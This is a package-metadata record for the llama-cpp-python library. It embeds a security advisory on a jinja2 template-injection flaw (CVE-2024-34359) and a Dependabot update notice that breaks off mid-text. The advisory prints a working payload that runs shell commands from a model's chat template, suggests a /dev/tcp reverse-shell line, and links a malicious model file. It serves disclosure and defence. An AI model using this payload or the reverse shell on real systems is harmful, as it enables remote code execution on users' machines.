{"id":31533,"name":"llama-cpp-python","ecosystem":"pip","repository_url":"https://github.com/abetlen/llama-cpp-python","issues_count":47,"created_at":"2025-06-07T10:32:20.502Z","updated_at":"2025-06-07T10:32:20.502Z","purl":"pkg:pypi/llama-cpp-python","metadata":{"id":6686863,"name":"llama-cpp-python","ecosystem":"pypi","description":"Python bindings for the llama.cpp library","homepage":"https://github.com/abetlen/llama-cpp-python","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/abetlen/llama-cpp-python","keywords_array":[],"namespace":null,"versions_count":182,"first_release_published_at":"2023-03-23T18:20:56.000Z","latest_release_published_at":"2025-05-08T11:12:05.000Z","latest_release_number":"0.3.9","last_synced_at":"2025-06-06T20:31:32.982Z","created_at":"2023-03-23T19:12:23.651Z","updated_at":"2025-06-06T20:31:32.982Z","registry_url":"https://pypi.org/project/llama-cpp-python/","install_command":"pip install llama-cpp-python --index-url https://pypi.org/simple","documentation_url":"https://llama-cpp-python.readthedocs.io/en/latest/","metadata":{"funding":null,"documentation":"https://llama-cpp-python.readthedocs.io/en/latest/","classifiers":["Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9"],"normalized_name":"llama-cpp-python"},"repo_metadata":{"id":149149468,"uuid":"617868717","full_name":"abetlen/llama-cpp-python","owner":"abetlen","description":"Python bindings for llama.cpp","archived":false,"fork":false,"pushed_at":"2025-05-08T11:09:37.000Z","size":2201,"stargazers_count":9116,"open_issues_count":630,"forks_count":1139,"subscribers_count":80,"default_branch":"main","last_synced_at":"2025-05-20T12:22:30.965Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://llama-cpp-python.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/abetlen.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2023-03-23T09:30:33.000Z","updated_at":"2025-05-20T11:11:49.000Z","dependencies_parsed_at":"2023-11-26T21:29:27.055Z","dependency_job_id":"5503ed70-4525-4e45-9b3d-9985420265b5","html_url":"https://github.com/abetlen/llama-cpp-python","commit_stats":null,"previous_names":[],"tags_count":305,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/abetlen%2Fllama-cpp-python","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/abetlen%2Fllama-cpp-python/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/abetlen%2Fllama-cpp-python/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/abetlen%2Fllama-cpp-python/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/abetlen","download_url":"https://codeload.github.com/abetlen/llama-cpp-python/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/abetlen%2Fllama-cpp-python/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":257533772,"owners_count":22560368,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"abetlen","name":"Andrei","uuid":"6826477","kind":"user","description":"","email":"","website":null,"location":"Toronto, Canada","twitter":"abetlen","company":null,"icon_url":"https://avatars.githubusercontent.com/u/6826477?u=cecf8f810524b371676600ef132284e6d97bacd8\u0026v=4","repositories_count":49,"last_synced_at":"2025-05-26T21:45:01.372Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/abetlen","funding_links":["https://github.com/sponsors/abetlen"],"total_stars":9399,"followers":558,"following":25,"created_at":"2023-03-07T23:45:47.602Z","updated_at":"2025-05-26T21:45:01.373Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/abetlen","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/abetlen/repositories"}},"repo_metadata_updated_at":"2025-06-02T01:33:21.592Z","dependent_packages_count":136,"downloads":382648,"downloads_period":"last-month","dependent_repos_count":1685,"rankings":{"downloads":0.6714189091627593,"dependent_repos_count":0.27092341948672743,"dependent_packages_count":0.24764094913192627,"stargazers_count":1.0360065963963005,"forks_count":2.096351618621317,"docker_downloads_count":3.133272395923401,"average":1.242602314787072},"purl":"pkg:pypi/llama-cpp-python","advisories":[{"uuid":"GSA_kwCzR0hTQS01NnhnLXdmY2MtZzgyOc4AA74j","url":"https://github.com/advisories/GHSA-56xg-wfcc-g829","title":"llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata","description":"## Description\n\n`llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload.\n\n## Source-to-Sink\n\n### `llama.py` -\u003e `class Llama` -\u003e `__init__`:\n\n```python\nclass Llama:\n    \"\"\"High-level Python wrapper for a llama.cpp model.\"\"\"\n\n    __backend_initialized = False\n\n    def __init__(\n        self,\n        model_path: str,\n\t\t# lots of params; Ignoring\n    ):\n \n        self.verbose = verbose\n\n        set_verbose(verbose)\n\n        if not Llama.__backend_initialized:\n            with suppress_stdout_stderr(disable=verbose):\n                llama_cpp.llama_backend_init()\n            Llama.__backend_initialized = True\n\n\t\t# Ignoring lines of unrelated codes.....\n\n        try:\n            self.metadata = self._model.metadata()\n        except Exception as e:\n            self.metadata = {}\n            if self.verbose:\n                print(f\"Failed to load metadata: {e}\", file=sys.stderr)\n\n        if self.verbose:\n            print(f\"Model metadata: {self.metadata}\", file=sys.stderr)\n\n        if (\n            self.chat_format is None\n            and self.chat_handler is None\n            and \"tokenizer.chat_template\" in self.metadata\n        ):\n            chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata(\n                self.metadata\n            )\n\n            if chat_format is not None:\n                self.chat_format = chat_format\n                if self.verbose:\n                    print(f\"Guessed chat format: {chat_format}\", file=sys.stderr)\n            else:\n                template = self.metadata[\"tokenizer.chat_template\"]\n                try:\n                    eos_token_id = int(self.metadata[\"tokenizer.ggml.eos_token_id\"])\n                except:\n                    eos_token_id = self.token_eos()\n                try:\n                    bos_token_id = int(self.metadata[\"tokenizer.ggml.bos_token_id\"])\n                except:\n                    bos_token_id = self.token_bos()\n\n                eos_token = self._model.token_get_text(eos_token_id)\n                bos_token = self._model.token_get_text(bos_token_id)\n\n                if self.verbose:\n                    print(f\"Using gguf chat template: {template}\", file=sys.stderr)\n                    print(f\"Using chat eos_token: {eos_token}\", file=sys.stderr)\n                    print(f\"Using chat bos_token: {bos_token}\", file=sys.stderr)\n\n                self.chat_handler = llama_chat_format.Jinja2ChatFormatter(\n                    template=template,\n                    eos_token=eos_token,\n                    bos_token=bos_token,\n                    stop_token_ids=[eos_token_id],\n                ).to_chat_handler()\n\n        if self.chat_format is None and self.chat_handler is None:\n            self.chat_format = \"llama-2\"\n            if self.verbose:\n                print(f\"Using fallback chat format: {chat_format}\", file=sys.stderr)\n                \n```\n\nIn `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler`\n\n### `llama_chat_format.py` -\u003e `Jinja2ChatFormatter`:\n\n`self._environment =  jinja2.Environment( -\u003e from_string(self.template) -\u003e self._environment.render(`\n\n```python\nclass ChatFormatter(Protocol):\n    \"\"\"Base Protocol for a chat formatter. A chat formatter is a function that\n    takes a list of messages and returns a chat format response which can be used\n    to generate a completion. The response can also include a stop token or list\n    of stop tokens to use for the completion.\"\"\"\n\n    def __call__(\n        self,\n        *,\n        messages: List[llama_types.ChatCompletionRequestMessage],\n        **kwargs: Any,\n    ) -\u003e ChatFormatterResponse: ...\n\n\nclass Jinja2ChatFormatter(ChatFormatter):\n    def __init__(\n        self,\n        template: str,\n        eos_token: str,\n        bos_token: str,\n        add_generation_prompt: bool = True,\n        stop_token_ids: Optional[List[int]] = None,\n    ):\n        \"\"\"A chat formatter that uses jinja2 templates to format the prompt.\"\"\"\n        self.template = template\n        self.eos_token = eos_token\n        self.bos_token = bos_token\n        self.add_generation_prompt = add_generation_prompt\n        self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None\n\n        self._environment = jinja2.Environment(\n            loader=jinja2.BaseLoader(),\n            trim_blocks=True,\n            lstrip_blocks=True,\n        ).from_string(self.template)\n\n    def __call__(\n        self,\n        *,\n        messages: List[llama_types.ChatCompletionRequestMessage],\n        functions: Optional[List[llama_types.ChatCompletionFunction]] = None,\n        function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None,\n        tools: Optional[List[llama_types.ChatCompletionTool]] = None,\n        tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None,\n        **kwargs: Any,\n    ) -\u003e ChatFormatterResponse:\n        def raise_exception(message: str):\n            raise ValueError(message)\n\n        prompt = self._environment.render(\n            messages=messages,\n            eos_token=self.eos_token,\n            bos_token=self.bos_token,\n            raise_exception=raise_exception,\n            add_generation_prompt=self.add_generation_prompt,\n            functions=functions,\n            function_call=function_call,\n            tools=tools,\n            tool_choice=tool_choice,\n        )\n\n```\n\nAs we can see in `llama_chat_format.py` -\u003e `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line:\n\n```python\n        self._environment = jinja2.Environment(\n            loader=jinja2.BaseLoader(),\n            trim_blocks=True,\n            lstrip_blocks=True,\n        ).from_string(self.template)\n```\n\nFun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything.\n\n```python\n    def __call__(\n        self,\n        *,\n        messages: List[llama_types.ChatCompletionRequestMessage],\n        functions: Optional[List[llama_types.ChatCompletionFunction]] = None,\n        function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None,\n        tools: Optional[List[llama_types.ChatCompletionTool]] = None,\n        tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None,\n        **kwargs: Any,\n    ) -\u003e ChatFormatterResponse:\n        def raise_exception(message: str):\n            raise ValueError(message)\n\n        prompt = self._environment.render( # rendered!\n            messages=messages,\n            eos_token=self.eos_token,\n            bos_token=self.bos_token,\n            raise_exception=raise_exception,\n            add_generation_prompt=self.add_generation_prompt,\n            functions=functions,\n            function_call=function_call,\n            tools=tools,\n            tool_choice=tool_choice,\n        )\n```\n\n## Exploiting\n\nFor our exploitation, we first downloaded [qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata[\"tokenizer.chat_template\"]` in `llama-cpp-python`):\n\n\u003cimg src=\"https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png\" alt=\"image-20240502180804562\" style=\"zoom: 25%;\" /\u003e\n\n`qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if \"warning\" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/`\n\n```python\n{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"touch /tmp/retr0reg\")}}{%endif%}{% endfor %}\n```\n\nin real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i \u003e\u0026 /dev/tcp/\u003cHOST\u003e/\u003cPORT\u003e 0\u003e\u00261` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability.\n\n\u003cimg src=\"https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png\" alt=\"image-20240502200909127\" style=\"zoom:50%;\" /\u003e\n\nAfter these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init -\u003e  self.chat_handler `-\u003e `llama_chat_format.py:Jinja2ChatFormatter:init -\u003e  self._environment = jinja2.Environment(` -\u003e ``llama_chat_format.py:Jinja2ChatFormatter:call -\u003e self._environment.render(`\n\n*(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )*\n\n```python\nfrom llama_cpp import Llama\n\n# Loading locally:\nmodel = Llama(model_path=\"qwen1_5-0_5b-chat-q2_k.gguf\")\n# Or loading from huggingface:\nmodel = Llama.from_pretrained(\n    repo_id=\"Retr0REG/Whats-up-gguf\",\n    filename=\"qwen1_5-0_5b-chat-q2_k.gguf\",\n    verbose=False\n)\n\nprint(model.create_chat_completion(messages=[{\"role\": \"user\",\"content\": \"what is the meaning of life?\"}]))\n```\n\nNow when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code. \n\nPoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-05-13T14:10:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/abetlen/llama-cpp-python/security/advisories/GHSA-56xg-wfcc-g829","https://nvd.nist.gov/vuln/detail/CVE-2024-34359","https://github.com/abetlen/llama-cpp-python/commit/b454f40a9a1787b2b5659cd2cb00819d983185df","https://github.com/advisories/GHSA-56xg-wfcc-g829"],"source_kind":"github","identifiers":["GHSA-56xg-wfcc-g829","CVE-2024-34359"],"repository_url":"https://github.com/abetlen/llama-cpp-python","blast_radius":31.298019080511363,"packages":[{"versions":[{"first_patched_version":"0.2.72","vulnerable_version_range":"\u003e= 0.2.30, \u003c= 0.2.71"}],"ecosystem":"pypi","package_name":"llama-cpp-python"}],"created_at":"2024-05-13T15:05:35.437Z","updated_at":"2024-05-28T17:58:37.000Z"}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/llama-cpp-python","docker_dependents_count":74,"docker_downloads_count":609661,"usage_url":"https://repos.ecosyste.ms/usage/pypi/llama-cpp-python","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/llama-cpp-python/dependencies","status":null,"funding_links":["https://github.com/sponsors/abetlen"],"critical":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/llama-cpp-python/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/llama-cpp-python/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/llama-cpp-python/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/llama-cpp-python/related_packages","maintainers":[{"uuid":"abetlen","login":"abetlen","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://pypi.org/user/abetlen/","role":null,"created_at":"2023-03-24T21:59:00.966Z","updated_at":"2023-03-24T21:59:00.966Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/abetlen/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":690419,"maintainers_count":292811,"namespaces_count":0,"keywords_count":228590,"github":"pypi","metadata":{"funded_packages_count":48950},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2025-06-06T05:32:09.692Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},"unique_repositories_count":19,"unique_repositories_count_past_30_days":3,"recent_issues":[{"uuid":"4609186962","node_id":"PR_kwDOSR6pxs7jtnne","number":9,"state":"closed","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 7 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-06-15T00:12:52.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-08T00:15:40.000Z","updated_at":"2026-06-15T00:12:54.000Z","time_to_close":604632,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":7,"packages":[{"name":"grpcio","old_version":"1.80.0","new_version":"1.81.0","repository_url":"https://github.com/grpc/grpc"},{"name":"numpy","old_version":"2.4.4","new_version":"2.4.6","repository_url":"https://github.com/numpy/numpy"},{"name":"torch","old_version":"2.11.0","new_version":"2.12.0","repository_url":"https://github.com/pytorch/pytorch"},{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.28","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ruff","old_version":"0.15.12","new_version":"0.15.16","repository_url":"https://github.com/astral-sh/ruff"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.44","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 7 updates in the /backend directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [grpcio](https://github.com/grpc/grpc) | `1.80.0` | `1.81.0` |\n| [numpy](https://github.com/numpy/numpy) | `2.4.4` | `2.4.6` |\n| [torch](https://github.com/pytorch/pytorch) | `2.11.0` | `2.12.0` |\n| [onnxruntime](https://github.com/microsoft/onnxruntime) | `1.25.1` | `1.26.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.3.21` | `0.3.28` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.15.12` | `0.15.16` |\n| [ty](https://github.com/astral-sh/ty) | `0.0.34` | `0.0.44` |\n\n\nUpdates `grpcio` from 1.80.0 to 1.81.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003egrpcio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.81.0\u003c/h2\u003e\n\u003cp\u003eThis is release 1.81.0 (\u003ca href=\"https://github.com/grpc/grpc/blob/master/doc/g_stands_for.md\"\u003egraphic\u003c/a\u003e) of gRPC Core.\u003c/p\u003e\n\u003cp\u003eFor gRPC documentation, see \u003ca href=\"https://grpc.io/\"\u003egrpc.io\u003c/a\u003e. For previous releases, see \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003eReleases\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis release contains refinements, improvements, and bug fixes, with highlights listed below.\u003c/p\u003e\n\u003ch2\u003eCore\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[EventEngine] Fix a potential use-after-free error on Windows. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42078\"\u003e#42078\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[ssl] Server side handshaker factory stores a map of key signers. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42002\"\u003e#42002\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Core] Fix completion queue shutdown race on weak memory models (ARM). (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41510\"\u003e#41510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[EventEngine] Fix a Windows race that causes an assertion error. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41563\"\u003e#41563\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[grpc_error] enable error_flatten experiment in OSS. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41471\"\u003e#41471\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Trim Python2 backward compatiblity syntax - removed (object) inheritance. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41708\"\u003e#41708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eObjective-C\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[ObjC] Add receiveNextMessage to GRPCUnaryProtoCall. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42260\"\u003e#42260\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePython\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Python] Add typing_extensions dep to aio Bazel target. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42001\"\u003e#42001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] [Pyright] Part 1 - Pyright for src/python/grpcio/grpc/aio/_base_server.py. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42240\"\u003e#42240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Drop 3.9. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42145\"\u003e#42145\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] grpc-status: Relax protobuf dependency upper bound to allow 7.x. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41948\"\u003e#41948\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] [Typeguard] Part 5 - Add Typeguard SYNC Stack in tests. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/40278\"\u003e#40278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Remove GIL from ReceiveMessageOperation.un_c method. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41812\"\u003e#41812\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Support observability in AsyncIO stack. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41573\"\u003e#41573\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRuby\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Ruby] Drop support for EOL Ruby 3.1 and clean up. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41435\"\u003e#41435\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Ruby] Composed CallCredentials keep a reference to their source. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41782\"\u003e#41782\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease v1.81.0-pre1\u003c/h2\u003e\n\u003cp\u003eThis is a prerelease of gRPC Core 1.81.0 (graphic).\u003c/p\u003e\n\u003cp\u003eFor gRPC documentation, see \u003ca href=\"https://grpc.io/\"\u003egrpc.io\u003c/a\u003e. For previous releases, see \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003eReleases\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis prerelease contains refinements, improvements, and bug fixes.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/8bdf11e5097abecbe6cffb70866625a0b8044948\"\u003e\u003ccode\u003e8bdf11e\u003c/code\u003e\u003c/a\u003e [Release] Bump version to 1.81.0 (on v1.81.x branch) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42432\"\u003e#42432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/0029e06771ad1b37bcd839d41c83d8abf327032c\"\u003e\u003ccode\u003e0029e06\u003c/code\u003e\u003c/a\u003e Move all gRPC Session classes to the experimental namespace (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42462\"\u003e#42462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/1f1826830371ff4d945a7bd415055c5e90328483\"\u003e\u003ccode\u003e1f18268\u003c/code\u003e\u003c/a\u003e [CI] Fix Asan thread_stress_test error by reducing thread count (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42424\"\u003e#42424\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42\"\u003e#42\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/ee3fed7cd5d6091c506ba9a26db58a8efbd4048c\"\u003e\u003ccode\u003eee3fed7\u003c/code\u003e\u003c/a\u003e Backport MacOS fix cl/917004588 to v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42441\"\u003e#42441\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/6244f3b59e2784b57f32b7fd3276d2e8eed630d1\"\u003e\u003ccode\u003e6244f3b\u003c/code\u003e\u003c/a\u003e [Release] Bump version to 1.81.0-pre1 (on v1.81.x branch) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42378\"\u003e#42378\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/1108777e4cacba6f825ff9bdd9c6af0055c90955\"\u003e\u003ccode\u003e1108777\u003c/code\u003e\u003c/a\u003e [Release] Bump core version to 54.0.0 for upcoming release (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42321\"\u003e#42321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/74940e8bc8b153cef9418e9cfffc670d5f67fb4e\"\u003e\u003ccode\u003e74940e8\u003c/code\u003e\u003c/a\u003e [fix] Add back the do-while loop that handles the TSI_RESULT correctly.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/5c6185c7c8e1cef5647ead8962ca4f8c76df9e15\"\u003e\u003ccode\u003e5c6185c\u003c/code\u003e\u003c/a\u003e [CHTTP2] Assert\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/51bc437364e1dd1bf87e288a5a31c70682fcdc8b\"\u003e\u003ccode\u003e51bc437\u003c/code\u003e\u003c/a\u003e Automated rollback of commit aab1eab78f9fcb3fc6e0aa9c8d7a59de280dbe3f.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/03a2dc77794e217de292a66e4afb0e279afc8b72\"\u003e\u003ccode\u003e03a2dc7\u003c/code\u003e\u003c/a\u003e [Cleanup] Reduce log noise in latent see.\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc/grpc/compare/v1.80.0...v1.81.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `numpy` from 2.4.4 to 2.4.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/numpy/numpy/releases\"\u003enumpy's 